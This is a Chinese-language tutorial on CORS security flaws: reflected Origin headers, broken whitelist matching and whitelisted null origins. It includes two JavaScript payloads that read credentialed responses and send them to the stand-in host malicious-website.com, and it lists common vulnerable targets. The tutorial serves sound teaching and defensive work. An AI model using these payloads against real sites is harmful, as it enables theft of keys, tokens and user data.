Skip to content

CORS安全问题

前置知识:

跨域资源共享(Cross-origin resource sharing)

作用:使用HTTP头告诉浏览器准许访问不同源服务器上的指定资源, 允许浏览器向跨域(不同源)服务器,发起XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。需要浏览器和服务器同时支持。


同源策略(Same-origin policy)

网络浏览器安全机制,防止网站相互攻击。限制源上的脚本访问另个源上的数据。由URI、协议、端口号组成单个源。

同源策略可以限制不同源应用之间的文本或脚本交互,可用于隔离潜在恶意文件的重要安全机制。


CORS标头以及功能实现

Access-Control-Allow-Origin: * 标识允许的请求来源。

允许多个来源、null或通配符*。但浏览器仅支持单个,并且通配符*也会受到限制。

*不能与凭据的跨越传输结合使用。

鉴于此限制,一些Web服务器会根据客户端指定的来源动态创建标头,这是不安全的。

Access-Control-Allow-Credentials: true 允许将cookie或相关凭据传递给来源时读取响应。

预检查

在某些情况下,当跨域请求包含非标准的 HTTP 方法或标头时,跨域请求之前会出现使用该OPTIONS方法的请求,并且 CORS 协议需要先检查允许哪些方法和标头允许跨域请求。

CORS利用

配置过于宽松,导致可利用漏洞

ACAO标头由请求头Origin生成

导致任何域均可访问站点资源,如果响应包含任何敏感信息,例如 API 密钥或CSRF 令牌,您可以通过在您的网站上放置以下脚本来检索它:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Origin解析错误

实施 CORS 源白名单时经常会出现错误,白名单规则通常通过匹配 URL 前缀或后缀,或使用正则表达式来实现。实施中的任何错误都可能导致访问被授予意外的外部域。

normal-website.com  //以下结尾域名允许访问
testnormal-website.com  //绕过

normal-website.com  //对当前所在域允许访问
normal-website.com.test.com     //绕过

列入白名单的 null 原始值

Origin 标头的规范支持 value null。浏览器可能会在各种异常情况下发送 Origin 标头中的值:

  • 跨域重定向。
  • 来自序列化数据的请求。
  • file:使用协议 请求。
  • 沙盒化的跨域请求。

某些应用程序可能会将null源列入白名单以支持应用程序的本地开发。例如,假设一个应用程序接收到以下跨域请求:

GET /sensitive-victim-data Host: vulnerable-website.com Origin: null

服务器响应:

HTTP/1.1 200 OK Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true

null在这种情况下,攻击者可以使用各种技巧来生成包含Origin 标头 中的值的跨域请求。这将满足白名单,导致跨域访问。例如,这可以使用以下iframe形式的沙盒跨域请求来完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

CORS 常见漏洞点:

  • 1.互联网厂商的api接口;
  • 2.聊天的程序的api接口;
  • 3.app的api <不过有一些请求需要带有一些额外的请求头,利用起来比较困难>;
  • 4.区块链厂商;